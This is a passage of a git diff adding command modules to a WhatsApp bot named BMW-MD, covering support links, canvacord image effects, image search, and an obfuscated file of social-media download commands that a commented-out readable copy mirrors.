+ zk.sendMessage(dest, { image: { url: lien }, caption:message }, { quoted: ms });
+ }
+ catch (e) {
+ console.log("🥵🥵 Menu erreur " + e);
+ repondre("🥵🥵 Menu erreur " + e);
+ }
+}
+else {
+ repondre(lien)
+ repondre("link error");
+
+}
+});
+
+adams({ nomCom: "support", categorie: "General" }, async (dest, zk, commandeOptions) => {
+ const { ms, repondre, auteurMessage, } = commandeOptions;
+
+ repondre("THANK YOU FOR CHOOSING BMW, HERE ARE OUR SUPPORTIVE LINKS\n\n ☉ CHANNEL LINK IS HERE ☉ \n\n❒[https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y] \n\n ☉ GROUP LINK IS HERE ☉\n\n❒[https://chat.whatsapp.com/F5BXJci8EDS9AJ6sfKMXIS] \n\n ☉YOUTUBE LINK IS HERE ☉\n\n❒[https://www.youtube.com/@ibrahimaitech] \n\n\n𝑪𝒓𝒆𝒂𝒕𝒆𝒅 𝒃𝒚 𝑰𝒃𝒓𝒂𝒉𝒊𝒎 𝑨𝒅𝒂𝒎𝒔")
+ await zk.sendMessage(auteurMessage,{text : `THANK YOU FOR CHOOSING BMW-MD,MAKE SURE YOU FOLLOW THESE LINKS. `},{quoted :ms})
+
+})
diff --git a/scs/bmwca.js b/scs/bmwca.js
new file mode 100644
index 0000000..460c88e
--- /dev/null
+++ b/scs/bmwca.js
@@ -0,0 +1,70 @@
+const { adams } = require("../Ibrahim/adams");
+const canvacord = require("canvacord");
+const {uploadImageToImgur} = require("../Ibrahim/imgur")
+
+// Generic function to create a canvacord order
+function createCanvacordCommand(commandName, canvacordFunction) {
+ adams({
+ nomCom: commandName,
+ categorie: "Image-Edit",
+ reaction: "🎉"
+ }, async (origineMessage, zk, commandeOptions) => {
+ const { ms, msgRepondu, auteurMsgRepondu } = commandeOptions;
+ const clientId = 'b40a1820d63cd4e' ;
+
+ try {
+ let img;
+ if (msgRepondu) {
+
+ if (msgRepondu.imageMessage) {
+ const image = await zk.downloadAndSaveMediaMessage(msgRepondu.imageMessage)
+ img = await uploadImageToImgur(image, clientId )
+ } else {
+
+ img = await zk.profilePictureUrl(auteurMsgRepondu, 'image'); }
+ } else {
+ img = "https://i.pinimg.com/564x/84/09/12/840912dd744e6662ab211b8070b5d84c.jpg";
+ }
+
+ const result = await canvacordFunction(img);
+
+ await zk.sendMessage(origineMessage, { image: result }, { quoted: ms });
+ } catch (error) {
+ console.error(`Error when ordering "${commandName}":`, error);
+ }
+ });
+}
+
+// Créer des commandes avec différentes fonctions canvacord
+createCanvacordCommand("shit", canvacord.Canvacord.shit);
+createCanvacordCommand("wasted", canvacord.Canvacord.wasted);
+createCanvacordCommand("wanted", canvacord.Canvacord.wanted);
+createCanvacordCommand("trigger", canvacord.Canvacord.trigger);
+createCanvacordCommand("trash", canvacord.Canvacord.trash);
+createCanvacordCommand("rip", canvacord.Canvacord.rip);
+createCanvacordCommand("sepia", canvacord.Canvacord.sepia);
+createCanvacordCommand("rainbow", canvacord.Canvacord.rainbow);
+createCanvacordCommand("hitler", canvacord.Canvacord.hitler);
+createCanvacordCommand("invert", canvacord.Canvacord.invert);
+createCanvacordCommand("jail", canvacord.Canvacord.jail);
+createCanvacordCommand("affect", canvacord.Canvacord.affect);
+ createCanvacordCommand("beautiful", canvacord.Canvacord.beautiful);
+ createCanvacordCommand("blur", canvacord.Canvacord.blur);
+
+ createCanvacordCommand("circle", canvacord.Canvacord.circle);
+ createCanvacordCommand("facepalm", canvacord.Canvacord.facepalm);
+ createCanvacordCommand("greyscale", canvacord.Canvacord.greyscale);
+ createCanvacordCommand("joke", canvacord.Canvacord.jokeOverHead);
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/scs/bmwce.js b/scs/bmwce.js
new file mode 100644
index 0000000..b46bdfa
--- /dev/null
+++ b/scs/bmwce.js
@@ -0,0 +1,36 @@
+
+
+
+
+
+
+const {adams} = require('../Ibrahim/adams');
+var gis = require('g-i-s');
+
+
+adams({
+ nomCom: "img",
+ categorie: "Search",
+ reaction: "📷"
+},
+async (dest, zk, commandeOptions) => {
+ const { repondre, ms, arg } = commandeOptions;
+
+ if (!arg[0]) {
+ repondre('which image ? !');
+ return;
+ }
+
+ const searchTerm = arg.join(" ");
+ //repondre("termes " +searchTerm);
+ gis(searchTerm,envoiImage);
+
+ function envoiImage(e,r)
+ {
+ if(e){repondre("oups une error ")}else{for(var a=0;a<5;a++){zk.sendMessage(dest,{image:{url:r[a].url}},{quoted:ms});}}
+
+ }
+
+ //gis(searchTerm,envoiImage);
+
+});
diff --git a/scs/bmwcii.js b/scs/bmwcii.js
new file mode 100644
index 0000000..dd7aab1
--- /dev/null
+++ b/scs/bmwcii.js
@@ -0,0 +1,455 @@
+const _0x1d6e98=_0x1eb6;(function(_0xf9a2e0,_0x2faecd){const _0x43dd89=_0x1eb6,_0x293e23=_0xf9a2e0();while(!![]){try{const _0x1f628e=parseInt(_0x43dd89(0xa5))/0x1*(parseInt(_0x43dd89(0x90))/0x2)+-parseInt(_0x43dd89(0x9b))/0x3*(parseInt(_0x43dd89(0xa7))/0x4)+-parseInt(_0x43dd89(0x6c))/0x5+-parseInt(_0x43dd89(0x6d))/0x6+parseInt(_0x43dd89(0x77))/0x7*(-parseInt(_0x43dd89(0x71))/0x8)+-parseInt(_0x43dd89(0x89))/0x9+-parseInt(_0x43dd89(0xaf))/0xa*(-parseInt(_0x43dd89(0xa4))/0xb);if(_0x1f628e===_0x2faecd)break;else _0x293e23['push'](_0x293e23['shift']());}catch(_0x487988){_0x293e23['push'](_0x293e23['shift']());}}}(_0x153d,0xd2014));const {mediafireDl}=require(_0x1d6e98(0xaa)),{adams}=require('../Ibrahim/adams'),getFBInfo=require('@xaviabot/fb-downloader');function _0x1eb6(_0x1865c9,_0x17b9e5){const _0x153d53=_0x153d();return _0x1eb6=function(_0x1eb6fe,_0x491f5b){_0x1eb6fe=_0x1eb6fe-0x66;let _0xaa2fe1=_0x153d53[_0x1eb6fe];return _0xaa2fe1;},_0x1eb6(_0x1865c9,_0x17b9e5);}adams({'nomCom':_0x1d6e98(0x68),'categorie':_0x1d6e98(0xae)},async(_0x443624,_0x3293a5,_0x51afbf)=>{const _0x3a3bea=_0x1d6e98,{ms:_0x435786,repondre:_0x4dbe98,arg:_0x7a859c}=_0x51afbf,_0x57335b=_0x7a859c[_0x3a3bea(0x92)]('\x20');if(!_0x57335b)return _0x4dbe98(_0x3a3bea(0xa6));if(!_0x57335b['includes']('github.com'))return _0x4dbe98(_0x3a3bea(0x9a));let [,_0xf8e241,_0x3b19fc]=_0x57335b['match'](/(?:https|git)(?::\/\/|@)github\.com[\/:]([^\/:]+)\/(.+)/i)||[];_0x3b19fc=_0x3b19fc[_0x3a3bea(0x6f)](/.git$/,'');let _0x68e95=_0x3a3bea(0x84)+_0xf8e241+'/'+_0x3b19fc+'/zipball',_0x43b2a0=(await fetch(_0x68e95,{'method':_0x3a3bea(0xab)}))[_0x3a3bea(0x8e)]['get'](_0x3a3bea(0x94))[_0x3a3bea(0x97)](/attachment; filename=(.*)/)[0x1];_0x3293a5[_0x3a3bea(0x9c)](_0x443624,{'document':{'url':_0x68e95},'fileName':_0x43b2a0+_0x3a3bea(0x88),'mimetype':_0x3a3bea(0xa8)},{'quoted':_0x435786})[_0x3a3bea(0xa2)](_0x445e50=>_0x4dbe98('error'));}),adams({'nomCom':'tiktok','categorie':'Download'},async(_0x5d38de,_0x45ab7f,_0x11aebd)=>{const _0x574c55=_0x1d6e98,{ms:_0x73cd0c,repondre:_0x107b4c,arg:_0x19fa20}=_0x11aebd;let _0x71d1a2=_0x19fa20[_0x574c55(0x92)]('\x20');if(!_0x19fa20[0x0])return _0x107b4c(_0x574c55(0xa1));const _0x241546=await fetch(_0x574c55(0x8a)+_0x71d1a2),_0x257104=await _0x241546[_0x574c55(0x6e)]();await _0x107b4c('A\x20moment,\x20*BMW-MD*\x20is\x20Downloading\x20that...');const _0x30920c=_0x257104['data'][_0x574c55(0x87)];await _0x45ab7f['sendMessage'](_0x5d38de,{'video':{'url':_0x30920c},'caption':'_╰►VIDEO\x20DOWNLOADED\x20BY_\x20*BMW-MD*','gifPlayback':![]},{'quoted':_0x73cd0c});}),adams({'nomCom':_0x1d6e98(0x76),'categorie':_0x1d6e98(0xae)},async(_0x1c430f,_0x46a8e6,_0x102136)=>{const _0x29d5c5=_0x1d6e98,{ms:_0x4e1dcb,repondre:_0x1ced16,arg:_0xd2394d}=_0x102136;let _0x2ceba5=_0xd2394d[_0x29d5c5(0x92)]('\x20');if(!_0xd2394d[0x0]){_0x1ced16(_0x29d5c5(0x9f));return;}try{const _0x1481aa=await fetch(_0x29d5c5(0x8d)+_0x2ceba5),_0x15ff56=await _0x1481aa[_0x29d5c5(0x6e)](),_0x58f630=_0x15ff56[_0x29d5c5(0x7d)];_0x46a8e6[_0x29d5c5(0x9c)](_0x1c430f,{'image':{'url':_0x58f630},'caption':_0x29d5c5(0x66),'gifPlayback':![]},{'quoted':_0x4e1dcb});}catch(_0x21e9e6){_0x1ced16(_0x29d5c5(0x99)+_0x21e9e6);}}),adams({'nomCom':_0x1d6e98(0xac),'categorie':_0x1d6e98(0xae)},async(_0x22f059,_0x461ec0,_0x1afc29)=>{const _0x5fc0ca=_0x1d6e98,{ms:_0xee7e60,repondre:_0x401ba9,arg:_0x9693b2}=_0x1afc29;if(!_0x9693b2[0x0]){_0x401ba9(_0x5fc0ca(0xa0));return;};try{let _0x352bc4=await fetch(_0x5fc0ca(0x78));_0x352bc4[_0x5fc0ca(0x8c)][_0x5fc0ca(0x8c)][_0x5fc0ca(0x8c)][0x0]['type']==_0x5fc0ca(0x93)?_0x461ec0[_0x5fc0ca(0x9c)](_0x22f059,{'video':{'url':_0x352bc4[_0x5fc0ca(0x8c)]['data'][_0x5fc0ca(0x8c)][0x0]['url_download']},'caption':_0x5fc0ca(0x98),'gifPlayback':![]},{'quoted':_0xee7e60}):_0x461ec0[_0x5fc0ca(0x9c)](_0x22f059,{'image':{'url':_0x352bc4[_0x5fc0ca(0x8c)][_0x5fc0ca(0x8c)][_0x5fc0ca(0x8c)][0x0][_0x5fc0ca(0x82)]},'caption':'Here\x20is\x20your\x20Instagram\x20image.\x0aPowered\x20by\x20*BMW-MD*'});}catch(_0x37cee8){_0x401ba9(_0x5fc0ca(0x69)+_0x37cee8);}}),adams({'nomCom':'video-dl','categorie':_0x1d6e98(0xae)},async(_0x4c1826,_0x4a0561,_0x44059d)=>{const _0x346bd9=_0x1d6e98,{ms:_0x4008b1,repondre:_0x1bfa04,arg:_0x2ccc17}=_0x44059d;let _0x53688d=_0x2ccc17[_0x346bd9(0x92)]('\x20');if(!_0x2ccc17[0x0]){_0x1bfa04(_0x346bd9(0x8f));return;}try{const _0x46927c=await fetch('https://www.noobs-api.000.pe/dipto/alldl?url='+_0x53688d),_0x139c10=await _0x46927c[_0x346bd9(0x6e)](),_0x2dbcc9=_0x139c10['result'];_0x4a0561[_0x346bd9(0x9c)](_0x4c1826,{'video':{'url':_0x2dbcc9},'caption':'_╰►VIDEO\x20DOWNLOADED\x20BY_\x20*BMW-MD*','gifPlayback':![]},{'quoted':_0x4008b1});}catch(_0x1154f4){_0x1bfa04(_0x346bd9(0x99)+_0x1154f4);}}),adams({'nomCom':_0x1d6e98(0x75),'categorie':_0x1d6e98(0xae)},async(_0x5b8e3d,_0x5540c4,_0x1e1c26)=>{const _0x30896a=_0x1d6e98,{ms:_0x48c053,repondre:_0x47575a,arg:_0x21e5ed}=_0x1e1c26;let _0x4adde6=_0x21e5ed[_0x30896a(0x92)]('\x20');if(!_0x21e5ed[0x0]){_0x47575a('Please\x20insert\x20a\x20*TWITTER\x20or\x20X\x20Video\x20Link*\x20for\x20*BMW-MD*\x20to\x20download\x20');return;}try{const _0x395757=await fetch(_0x30896a(0x81)+_0x4adde6),_0x5051a9=await _0x395757[_0x30896a(0x6e)]();if(_0x5051a9&&_0x5051a9['data']&&_0x5051a9[_0x30896a(0x8c)]['HD']){const _0x18124e=_0x5051a9[_0x30896a(0x8c)]['HD'];_0x5540c4[_0x30896a(0x9c)](_0x5b8e3d,{'video':{'url':_0x18124e},'caption':_0x30896a(0x85),'gifPlayback':![]},{'quoted':_0x48c053});}}catch(_0x3ef46){_0x47575a(_0x30896a(0x72)+_0x3ef46);}}),adams({'nomCom':_0x1d6e98(0x79),'categorie':_0x1d6e98(0xae)},async(_0x236640,_0x2eef16,_0x1194ad)=>{const _0x14ef5d=_0x1d6e98,{ms:_0x3ce23c,repondre:_0xbdf30c,arg:_0x594be1}=_0x1194ad;let _0x4625bd=_0x594be1[_0x14ef5d(0x92)]('\x20');if(!_0x594be1[0x0]){_0xbdf30c(_0x14ef5d(0x8b));return;};try{const _0x26e13c=await mediafireDl(_0x4625bd);if(_0x26e13c[0x0]['size'][_0x14ef5d(0x70)]('MB')[0x0]>=0x64)return m[_0x14ef5d(0x74)](_0x14ef5d(0x67));await _0x2eef16[_0x14ef5d(0x9c)](_0x236640,{'document':{'url':_0x26e13c[0x0][_0x14ef5d(0x9d)]},'fileName':_0x26e13c[0x0][_0x14ef5d(0x7a)],'mimetype':_0x26e13c[0x0][_0x14ef5d(0x7e)],'caption':_0x14ef5d(0x73)+_0x26e13c[0x0][_0x14ef5d(0x7a)]},{'quoted':_0x3ce23c});}catch(_0x32298d){_0xbdf30c(_0x14ef5d(0x7f)+_0x32298d);}}),adams({'nomCom':'fb','categorie':_0x1d6e98(0xae),'reaction':_0x1d6e98(0xa3)},async(_0x1a25c6,_0x1093b2,_0xdd563)=>{const _0x5f1dc6=_0x1d6e98,{repondre:_0x5560c9,ms:_0x3fd942,arg:_0x23f76c}=_0xdd563;if(!_0x23f76c[0x0]){_0x5560c9('Insert\x20a\x20public\x20facebook\x20video\x20link!');return;}const _0x210699=_0x23f76c[_0x5f1dc6(0x92)]('\x20');try{getFBInfo(_0x210699)[_0x5f1dc6(0x86)](_0x508db8=>{const _0x1eea69=_0x5f1dc6;let _0xe8c5f='\x0a\x20*Title:*\x20'+_0x508db8[_0x1eea69(0x6b)]+_0x1eea69(0x80)+_0x508db8[_0x1eea69(0xad)]+'\x0a\x20';_0x1093b2[_0x1eea69(0x9c)](_0x1a25c6,{'image':{'url':_0x508db8[_0x1eea69(0x95)]},'caption':_0xe8c5f},{'quoted':_0x3fd942}),_0x1093b2[_0x1eea69(0x9c)](_0x1a25c6,{'video':{'url':_0x508db8['hd']},'caption':_0x1eea69(0x7c)},{'quoted':_0x3fd942});})[_0x5f1dc6(0xa2)](_0x2d1226=>{const _0x524dfa=_0x5f1dc6;console[_0x524dfa(0x7b)](_0x524dfa(0xa9),_0x2d1226),_0x5560c9(_0x524dfa(0x6a));});}catch(_0xab1487){console[_0x5f1dc6(0xb1)](_0x5f1dc6(0x9e),_0xab1487),_0x5560c9('An\x20error\x20occurred\x20while\x20downloading\x20your\x20media.',_0xab1487);}}),adams({'nomCom':_0x1d6e98(0xb0),'categorie':'Download','reaction':_0x1d6e98(0xa3)},async(_0x7c724e,_0x49724a,_0x1edb91)=>{const _0x383628=_0x1d6e98,{repondre:_0x392003,ms:_0x536e9a,arg:_0x479e12}=_0x1edb91;if(!_0x479e12[0x0]){_0x392003(_0x383628(0x91));return;}const _0x439e43=_0x479e12['join']('\x20');try{getFBInfo(_0x439e43)[_0x383628(0x86)](_0x365ad0=>{const _0x1d79bf=_0x383628;let _0x3e059b=_0x1d79bf(0x83)+_0x365ad0[_0x1d79bf(0x6b)]+_0x1d79bf(0x80)+_0x365ad0[_0x1d79bf(0xad)]+'\x0a\x20';_0x49724a[_0x1d79bf(0x9c)](_0x7c724e,{'image':{'url':_0x365ad0[_0x1d79bf(0x95)]},'caption':_0x3e059b},{'quoted':_0x536e9a}),_0x49724a['sendMessage'](_0x7c724e,{'video':{'url':_0x365ad0['sd']},'caption':_0x1d79bf(0x7c)},{'quoted':_0x536e9a});})['catch'](_0x2623c6=>{const _0x52a265=_0x383628;console[_0x52a265(0x7b)](_0x52a265(0xa9),_0x2623c6),_0x392003(_0x2623c6);});}catch(_0x43dbf9){console[_0x383628(0xb1)](_0x383628(0x96),_0x43dbf9),_0x392003('An\x20error\x20occurred\x20while\x20Bmw-Md\x20was\x20downloading\x20your\x20media.',_0x43dbf9);}});function _0x153d(){const _0x296621=['Give\x20me\x20any\x20social\x20media\x20image\x20link!','provide\x20an\x20instragam\x20link\x20','Please\x20insert\x20a\x20tiktok\x20video\x20link!','catch','📽️','5980601uMvVYR','12RZrvCF','Please\x20provide\x20a\x20valid\x20github\x20link.','4OYNNmK','application/zip','Error:','../Ibrahim/dl/Function','HEAD','instagram','url','Download','100cXXYXg','fb2','error','_╰►IMAGE\x20DOWNLOADED\x20BY_\x20*BMW-MD*','File\x20tooooo\x20big','gitclone','An\x20error\x20Occurred\x20while\x20downloading\x20your\x20media.\x0a*KEEP\x20USING\x20BMW-MD*','try\x20fb2\x20on\x20this\x20link','title','4483660cgMOkD','8857014aRUpXw','json','replace','split','48FSKnpN','I\x20am\x20unable\x20to\x20download\x20your\x20media.\x20\x0a\x20','Downloaded\x20by\x20FLASH-MD:\x20','reply','twitter','image-dl','746403srBrud','https://www.guruapi.tech/api/igdlv1?url=${link}','mediafire','nama','log','_╰►VIDEO\x20DOWNLOADED\x20BY_\x20*BMW-MD*','result','mime','I\x20am\x20unable\x20to\x20download\x20the\x20file.\x20\x0a\x20','\x0a\x0a\x20\x0a\x20*Direct\x20Link:*\x20','https://api.maher-zubair.tech/download/twitter?url=','url_download','\x0a\x20*Title:*\x20','https://api.github.com/repos/','Here\x20is\x20your\x20Twitter\x20Video.\x0a\x20_Downloaded\x20by_\x20*BMW-MD*','then','no_wm','.zip','1970892oUPbXZ','https://api.prabath-md.tech/api/tiktokdl?url=','Provide\x20mediafire\x20link\x0a\x0amediafire\x20','data','https://aiodownloader.onrender.com/download?url=','headers','Give\x20me\x20any\x20social\x20media\x20video\x20link!','36854QLKeDE','Insert\x20a\x20public\x20facebook\x20video\x20link!\x20!','join','video','content-disposition','thumbnail','An\x20error\x20occurred\x20while\x20Bmw-Md\x20was\x20downloading\x20your\x20media:','match','Here\x20is\x20your\x20Instagram\x20video.\x0aPowered\x20by\x20*BMW-MD*','A\x20fatal\x20error\x20has\x20occured...\x20\x0a\x20','Is\x20that\x20a\x20GitHub\x20repo\x20link\x20?!','4698573KGlmhD','sendMessage','link','An\x20error\x20occurred\x20while\x20*BMW-MD*\x20was\x20downloading\x20your\x20media:'];_0x153d=function(){return _0x296621;};return _0x153d();}
+
+
+
+/**
+const {
+ mediafireDl
+} = require("../Ibrahim/dl/Function");
+const {
+ adams
+} = require("../Ibrahim/adams");
+const getFBInfo = require("@xaviabot/fb-downloader");
+adams({
+ 'nomCom': "gitclone",
+ 'categorie': "Download"
+}, async (_0x1c2fd1, _0x45058e, _0x4f56d8) => {
+ const {
+ ms: _0x4ec678,
+ repondre: _0x3f8a54,
+ arg: _0x18d6ab
+ } = _0x4f56d8;
+ const _0x4bab3c = _0x18d6ab.join(" ");
+ if (!_0x4bab3c) {
+ return _0x3f8a54("Please provide a valid github link.");
+ }
+ if (!_0x4bab3c.includes("github.com")) {
+ return _0x3f8a54("Is that a GitHub repo link ?!");
+ }
+ let [, _0x3acdad, _0x3f9933] = _0x4bab3c.match(/(?:https|git)(?::\/\/|@)github\.com[\/:]([^\/:]+)\/(.+)/i) || [];
+ _0x3f9933 = _0x3f9933.replace(/.git$/, '');
+ let _0x394ebd = "https://api.github.com/repos/" + _0x3acdad + '/' + _0x3f9933 + "/zipball";
+ let _0x5c6799 = (await fetch(_0x394ebd, {
+ 'method': "HEAD"
+ })).headers.get("content-disposition").match(/attachment; filename=(.*)/)[1];
+ _0x45058e.sendMessage(_0x1c2fd1, {
+ 'document': {
+ 'url': _0x394ebd
+ },
+ 'fileName': _0x5c6799 + ".zip",
+ 'mimetype': "application/zip"
+ }, {
+ 'quoted': _0x4ec678
+ })["catch"](_0x2c3dbe => _0x3f8a54("error"));
+});
+adams({
+ 'nomCom': "tiktok",
+ 'categorie': "Download"
+}, async (_0x42b1bf, _0x3a058d, _0x11f9d9) => {
+ const {
+ ms: _0x333a0e,
+ repondre: _0x1a32e5,
+ arg: _0x1b0b51
+ } = _0x11f9d9;
+ let _0x21bd31 = _0x1b0b51.join(" ");
+ if (!_0x1b0b51[0]) {
+ return _0x1a32e5("Please insert a tiktok video link!");
+ }
+ const _0x5d8397 = await fetch("https://api.prabath-md.tech/api/tiktokdl?url=" + _0x21bd31);
+ const _0x38d5e1 = await _0x5d8397.json();
+ await _0x1a32e5("A moment, *BMW-MD* is Downloading that...");
+ const _0x504587 = _0x38d5e1.data.no_wm;
+ await _0x3a058d.sendMessage(_0x42b1bf, {
+ 'video': {
+ 'url': _0x504587
+ },
+ 'caption': "_╰►VIDEO DOWNLOADED BY_ *BMW-MD*",
+ 'gifPlayback': false
+ }, {
+ 'quoted': _0x333a0e
+ });
+});
+adams({
+ 'nomCom': "image-dl",
+ 'categorie': "Download"
+}, async (_0x38d623, _0x42db7e, _0x1281b3) => {
+ const {
+ ms: _0x529878,
+ repondre: _0x226795,
+ arg: _0x2f8336
+ } = _0x1281b3;
+ let _0x3fc64a = _0x2f8336.join(" ");
+ if (!_0x2f8336[0]) {
+ _0x226795("Give me any social media image link!");
+ return;
+ }
+ try {
+ const _0x13451d = await fetch("https://aiodownloader.onrender.com/download?url=" + _0x3fc64a);
+ const _0xb125b5 = await _0x13451d.json();
+ const _0x9cb53 = _0xb125b5.result;
+ _0x42db7e.sendMessage(_0x38d623, {
+ 'image': {
+ 'url': _0x9cb53
+ },
+ 'caption': "_╰►IMAGE DOWNLOADED BY_ *BMW-MD*",
+ 'gifPlayback': false
+ }, {
+ 'quoted': _0x529878
+ });
+ } catch (_0x53d9be) {
+ _0x226795("A fatal error has occured... \n " + _0x53d9be);
+ }
+});
+adams({
+ 'nomCom': "instagram",
+ 'categorie': "Download"
+}, async (_0xf2a010, _0x3c01ae, _0x488f66) => {
+ const {
+ ms: _0x324321,
+ repondre: _0x1eddf6,
+ arg: _0x57528e
+ } = _0x488f66;
+ if (!_0x57528e[0]) {
+ _0x1eddf6("provide an instragam link ");
+ return;
+ }
+ ;
+ try {
+ let _0xfb5ca8 = await fetch("https://www.guruapi.tech/api/igdlv1?url=${link}");
+ if (_0xfb5ca8.data.data.data[0].type == "video") {
+ _0x3c01ae.sendMessage(_0xf2a010, {
+ 'video': {
+ 'url': _0xfb5ca8.data.data.data[0].url_download
+ },
+ 'caption': "Here is your Instagram video.\nPowered by *BMW-MD*",
+ 'gifPlayback': false
+ }, {
+ 'quoted': _0x324321
+ });
+ } else {
+ _0x3c01ae.sendMessage(_0xf2a010, {
+ 'image': {
+ 'url': _0xfb5ca8.data.data.data[0].url_download
+ },
+ 'caption': "Here is your Instagram image.\nPowered by *BMW-MD*"
+ });
+ }
+ } catch (_0x4fdba6) {
+ _0x1eddf6("An error Occurred while downloading your media.\n*KEEP USING BMW-MD*" + _0x4fdba6);
+ }
+});
+adams({
+ 'nomCom': "video-dl",
+ 'categorie': "Download"
+}, async (_0x46a8a0, _0x17b453, _0x2b60f2) => {
+ const {
+ ms: _0x589c36,
+ repondre: _0x574033,
+ arg: _0x23ec22
+ } = _0x2b60f2;
+ let _0x5e9106 = _0x23ec22.join(" ");
+ if (!_0x23ec22[0]) {
+ _0x574033("Give me any social media video link!");
+ return;
+ }
+ try {
+ const _0x22af05 = await fetch("https://www.noobs-api.000.pe/dipto/alldl?url=" + _0x5e9106);
+ const _0x170f9e = await _0x22af05.json();
+ const _0x3c3efe = _0x170f9e.result;
+ _0x17b453.sendMessage(_0x46a8a0, {
+ 'video': {
+ 'url': _0x3c3efe
+ },
+ 'caption': "_╰►VIDEO DOWNLOADED BY_ *BMW-MD*",
+ 'gifPlayback': false
+ }, {
+ 'quoted': _0x589c36
+ });
+ } catch (_0x1cf0b8) {
+ _0x574033("A fatal error has occured... \n " + _0x1cf0b8);
+ }
+});
+adams({
+ 'nomCom': "twitter",
+ 'categorie': "Download"
+}, async (_0x40d611, _0x29f4c2, _0x216827) => {
+ const {
+ ms: _0x178e4c,
+ repondre: _0x330fea,
+ arg: _0x1091be
+ } = _0x216827;
+ let _0x35e7e3 = _0x1091be.join(" ");
+ if (!_0x1091be[0]) {
+ _0x330fea("Please insert a *TWITTER or X Video Link* for *BMW-MD* to download ");
+ return;
+ }
+ try {
+ const _0x1e0844 = await fetch("https://api.maher-zubair.tech/download/twitter?url=" + _0x35e7e3);
+ const _0x1e3a2f = await _0x1e0844.json();
+ if (_0x1e3a2f && _0x1e3a2f.data && _0x1e3a2f.data.HD) {
+ const _0x32bc4e = _0x1e3a2f.data.HD;
+ _0x29f4c2.sendMessage(_0x40d611, {
+ 'video': {
+ 'url': _0x32bc4e
+ },
+ 'caption': "Here is your Twitter Video.\n _Downloaded by_ *BMW-MD*",
+ 'gifPlayback': false
+ }, {
+ 'quoted': _0x178e4c
+ });
+ }
+ } catch (_0x19fce0) {
+ _0x330fea("I am unable to download your media. \n " + _0x19fce0);
+ }
+});
+adams({
+ 'nomCom': "mediafire",
+ 'categorie': "Download"
+}, async (_0x12d48b, _0x1a75ba, _0x253e26) => {
+ const {
+ ms: _0x1cac40,
+ repondre: _0x56acc0,
+ arg: _0x4f5641
+ } = _0x253e26;
+ let _0x404891 = _0x4f5641.join(" ");
+ if (!_0x4f5641[0]) {
+ _0x56acc0("Provide mediafire link\n\nmediafire ");
+ return;
+ }
+ ;
+ try {
+ const _0x5c499c = await mediafireDl(_0x404891);
+ if (_0x5c499c[0].size.split('MB')[0] >= 100) {
+ return m.reply("File tooooo big");
+ }
+ await _0x1a75ba.sendMessage(_0x12d48b, {
+ 'document': {
+ 'url': _0x5c499c[0].link
+ },
+ 'fileName': _0x5c499c[0].nama,
+ 'mimetype': _0x5c499c[0].mime,
+ 'caption': "Downloaded by FLASH-MD: " + _0x5c499c[0].nama
+ }, {
+ 'quoted': _0x1cac40
+ });
+ } catch (_0x572051) {
+ _0x56acc0("I am unable to download the file. \n " + _0x572051);
+ }
+});
+adams({
+ 'nomCom': 'fb',
+ 'categorie': "Download",
+ 'reaction': "📽️"
+}, async (_0x3a78a5, _0xc18979, _0xf0a7a0) => {
+ const {
+ repondre: _0x3c875a,
+ ms: _0x2e8d37,
+ arg: _0xd0f2d0
+ } = _0xf0a7a0;
+ if (!_0xd0f2d0[0]) {
+ _0x3c875a("Insert a public facebook video link!");
+ return;
+ }
+ const _0x5938f0 = _0xd0f2d0.join(" ");
+ try {
+ getFBInfo(_0x5938f0).then(_0x44be8d => {
+ let _0x76640a = "\n *Title:* " + _0x44be8d.title + "\n\n \n *Direct Link:* " + _0x44be8d.url + "\n ";
+ _0xc18979.sendMessage(_0x3a78a5, {
+ 'image': {
+ 'url': _0x44be8d.thumbnail
+ },
+ 'caption': _0x76640a
+ }, {
+ 'quoted': _0x2e8d37
+ });
+ _0xc18979.sendMessage(_0x3a78a5, {
+ 'video': {
+ 'url': _0x44be8d.hd
+ },
+ 'caption': "_╰►VIDEO DOWNLOADED BY_ *BMW-MD*"
+ }, {
+ 'quoted': _0x2e8d37
+ });
+ })["catch"](_0x41d84f => {
+ console.log("Error:", _0x41d84f);
+ _0x3c875a("try fb2 on this link");
+ });
+ } catch (_0x1d71c9) {
+ console.error("An error occurred while *BMW-MD* was downloading your media:", _0x1d71c9);
+ _0x3c875a("An error occurred while downloading your media.", _0x1d71c9);
+ }
+});
+adams({
+ 'nomCom': "fb2",
+ 'categorie': "Download",
+ 'reaction': "📽️"
+}, async (_0xcad438, _0x341fa4, _0x1bf24c) => {
+ const {
+ repondre: _0x55e155,
+ ms: _0x41f279,
+ arg: _0x2b5eb7
+ } = _0x1bf24c;
+ if (!_0x2b5eb7[0]) {
+ _0x55e155("Insert a public facebook video link! !");
+ return;
+ }
+ const _0x1fd99e = _0x2b5eb7.join(" ");
+ try {
+ getFBInfo(_0x1fd99e).then(_0x2bbae1 => {
+ let _0x8231c = "\n *Title:* " + _0x2bbae1.title + "\n\n \n *Direct Link:* " + _0x2bbae1.url + "\n ";
+ _0x341fa4.sendMessage(_0xcad438, {
+ 'image': {
+ 'url': _0x2bbae1.thumbnail
+ },
+ 'caption': _0x8231c
+ }, {
+ 'quoted': _0x41f279
+ });
+ _0x341fa4.sendMessage(_0xcad438, {
+ 'video': {
+ 'url': _0x2bbae1.sd
+ },
+ 'caption': "_╰►VIDEO DOWNLOADED BY_ *BMW-MD*"
+ }, {
+ 'quoted': _0x41f279
+ });
+ })["catch"](_0x3eb21d => {
+ console.log("Error:", _0x3eb21d);
+ _0x55e155(_0x3eb21d);
+ });
+ } catch (_0x2b1e09) {
+ console.error("An error occurred while Bmw-Md was downloading your media:", _0x2b1e09);
+ _0x55e155("An error occurred while Bmw-Md was downloading your media.", _0x2b1e09);
+ }
+});
+
+
+const {adams} = require('../Ibrahim/adams');
+const fs = require('fs');
+const getFBInfo = require("@xaviabot/fb-downloader");
+const { default: axios } = require('axios');
+
+adams({nomCom : "instagram" , categorie : "Download"},async (dest , zk , commandeOptions)=>{
+ const {ms,repondre,arg} = commandeOptions ;
+
+ let link = arg.join(' ')
+
+ if (!arg[0]) { repondre('Veillez insérer un lien video instagramme');return};
+
+ try {
+
+ let igvid = await axios('https://vihangayt.me/download/instagram?url='+link)
+
+ if (igvid.data.data.data[0].type == 'video') {
+ zk.sendMessage(dest,{video : {url : igvid.data.data.data[0].url},caption : "ig video downloader powered by *Bmw-Md*",gifPlayback : false },{quoted : ms})
+ }
+ else {
